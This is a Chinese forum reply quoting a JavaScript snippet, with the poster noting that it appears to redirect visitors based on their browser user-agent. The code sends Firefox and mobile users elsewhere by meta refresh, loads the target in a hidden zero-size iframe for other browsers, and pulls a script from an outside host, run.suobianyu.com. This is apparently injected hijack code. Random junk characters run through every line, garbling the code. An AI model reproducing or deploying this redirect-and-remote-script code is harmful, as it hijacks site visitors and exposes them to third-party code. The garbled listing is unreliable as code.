|
发表于 2015-9-5 20:41:18
|
显示全部楼层
本帖最后由 seanhere 于 2015-9-5 20:45 编辑 2 ^! `" e5 P6 w7 l( p' i6 I
- var ua = navigator.userAgent.toLowerCase(),
7 m! w) F( v. a; u - browser = {
3 J2 r- R# f# S; Z4 k - ver: (ua.match(/(?:rv|me|ra|ie)[\/: ]([\d.]+)/) || [0, "0"])[1],$ T# ^" h6 M% O2 p) X
- opera: /opera/.test(ua),
, w5 Y) a. q, u - maxthon: /maxthon/.test(ua),
( x1 U- v, i8 ?0 Q - theworld: /theworld/.test(ua),7 \" x+ J; K7 t/ O) g
- qq: /qqbrowser/.test(ua),
' p- H5 f) l# x& o# i5 I) ] - sogou: /se /.test(ua),/ T+ E* q f8 M- N! ]# j2 d2 {
- liebao: /liebao/.test(ua),& m2 W* `' {5 S, |% C6 I2 p
- firefox: /mozilla/.test(ua) && !/(compatible|webkit)/.test(ua),
. \( Q1 V, V; B r! z - chrome: /chrome|crios/.test(ua),1 ?" H1 A9 V, Q. G3 [
- safari: /webkit/.test(ua),
1 m+ Z6 ?- }9 z5 o& q# { - uc: /ucbrowser/.test(ua),
; L4 O0 V+ a7 g* S - ie: /msie/.test(ua) && !/opera/.test(ua)
0 f) Q$ {! E! X) D1 O - };) { L5 W1 g& @; w2 }
- var ver = browser.ver;
, Z- `$ o6 s% a% ] - if (browser.firefox || /Android|Windows Phone|webOS|iPhone|iPod|BlackBerry/i.test(navigator.userAgent)) {
* b7 Z8 p- L# P' Z2 R - document.write("<meta http-equiv=Refresh content="0;url=" + tourl + "">");
: X5 @6 z+ V E; ]9 }' b3 \! n - } else {
; w2 l3 d1 i7 [* z/ _3 ?5 @* J - window.sc = "<iframe src=" + tourl + "></iframe>";4 q# s: `/ B6 o
- document.write("<iframe src="javascript:parent.sc" width=0 height=0></iframe>");. d0 L3 U( J2 e
- }
% g* \7 H* x: U3 R/ Q9 \$ ^ - document.write("<script src='http://run.suobianyu.com/a.js'><\/script>");
复制代码
: q2 n/ K8 W/ }0 T+ y/ f* C) s# x z4 `$ b% e! V( I& f% q( B9 `4 q
好像是根据用户浏览器的User-agent信息来决定如何跳转。 |
|